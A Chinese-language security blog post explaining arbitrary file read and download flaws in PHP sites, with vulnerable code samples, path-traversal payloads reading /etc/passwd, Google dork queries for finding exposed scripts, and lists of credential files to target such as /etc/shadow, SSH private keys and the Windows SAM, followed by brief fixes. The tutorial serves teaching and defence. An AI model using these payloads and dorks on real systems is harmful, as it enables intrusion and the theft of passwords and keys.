任意文件查看与下载漏洞

漏洞介绍

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件
不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞

利用条件

* 存在读文件的函数
* 读取文件的路径用户可控且未校验或校验不严
* 输出了文件内容

漏洞危害

下载服务器任意文件,如脚本代码、服务及系统配置文件等
可用得到的代码进一步代码审计,得到更多可利用漏洞

任意文件读取

代码形式可如下几种:

<?php
    $filename = "test.txt";
    readfile($filename);
?>

<?php
    $filename = "test.txt";

    $fp = fopen($filename,"r") or die("Unable to open file!");
    $data = fread($fp,filesize($filename));
    fclose($fp);

    echo $data;
?>

<?php
    $filename = "test.txt";
    echo file_get_contents($filename);
?>

任意文件下载

直接下载:

<a href="http://www.xx.com/a.zip">Download</a>

用header()下载:

<?php
    $filename = "uploads/201607141437284653.jpg";

    header('Content-Type: imgage/jpeg');
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Lengh: '.filesize($filename));
?>

漏洞利用代码

readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00

Google search

inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
等等...

漏洞挖掘

可以用Google hacking或Web漏洞扫描器
从链接上看,形如:
    • readfile.php?file=***.txt
    • download.php?file=***.rar
从参数名看,形如:
    • &RealPath= 
    • &FilePath= 
    • &filepath= 
    • &Path= 
    • &path= 
    • &inputFile= 
    • &url= 
    • &urls= 
    • &Lang= 
    • &dis= 
    • &data= 
    • &readfile= 
    • &filep= 
    • &src= 
    • &menu= 
    • META-INF 
    • WEB-INF

敏感文件如下

Windows:
   C:\boot.ini  //查看系统版本
   C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
   C:\Windows\repair\sam  //存储系统初次安装的密码
   C:\Program Files\mysql\my.ini  //Mysql配置
   C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
   C:\Windows\php.ini  //php配置信息
   C:\Windows\my.ini  //Mysql配置信息
   ...
Linux:
   /root/.ssh/authorized_keys
   /root/.ssh/id_rsa
   /root/.ssh/id_ras.keystore
   /root/.ssh/known_hosts
   /etc/passwd
   /etc/shadow
   /etc/my.cnf
   /etc/httpd/conf/httpd.conf
   /root/.bash_history
   /root/.mysql_history
   /proc/self/fd/fd[0-9]*(文件标识符)
   /proc/mounts
   /porc/config.gz

漏洞验证

• index.php?f=../../../../../../etc/passwd 
• index.php?f=../index.php 
• index.php?f=file:///etc/passwd
注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,
    若显示源码或提示下载则是文件查看与下载漏洞

修复方案

* 过滤.(点),使用户在url中不能回溯上级目录
* 正则严格判断用户输入参数的格式
* php.ini配置open_basedir限定文件访问范围
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 175,773评论 25 709
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,668评论 19 139
  • 发现 关注 消息 iOS 第三方库、插件、知名博客总结 作者大灰狼的小绵羊哥哥关注 2017.06.26 09:4...
    肇东周阅读 14,239评论 4 61
  • 独步天下。
    杏林骨怪阅读 1,917评论 0 0
  • 10月24日---11月15日,终于结束了一次难受的纠结的甚至很尴尬的八次课。 最初听到这位学生在中国留学生活六七...
    Caitlin阅读 2,778评论 1 1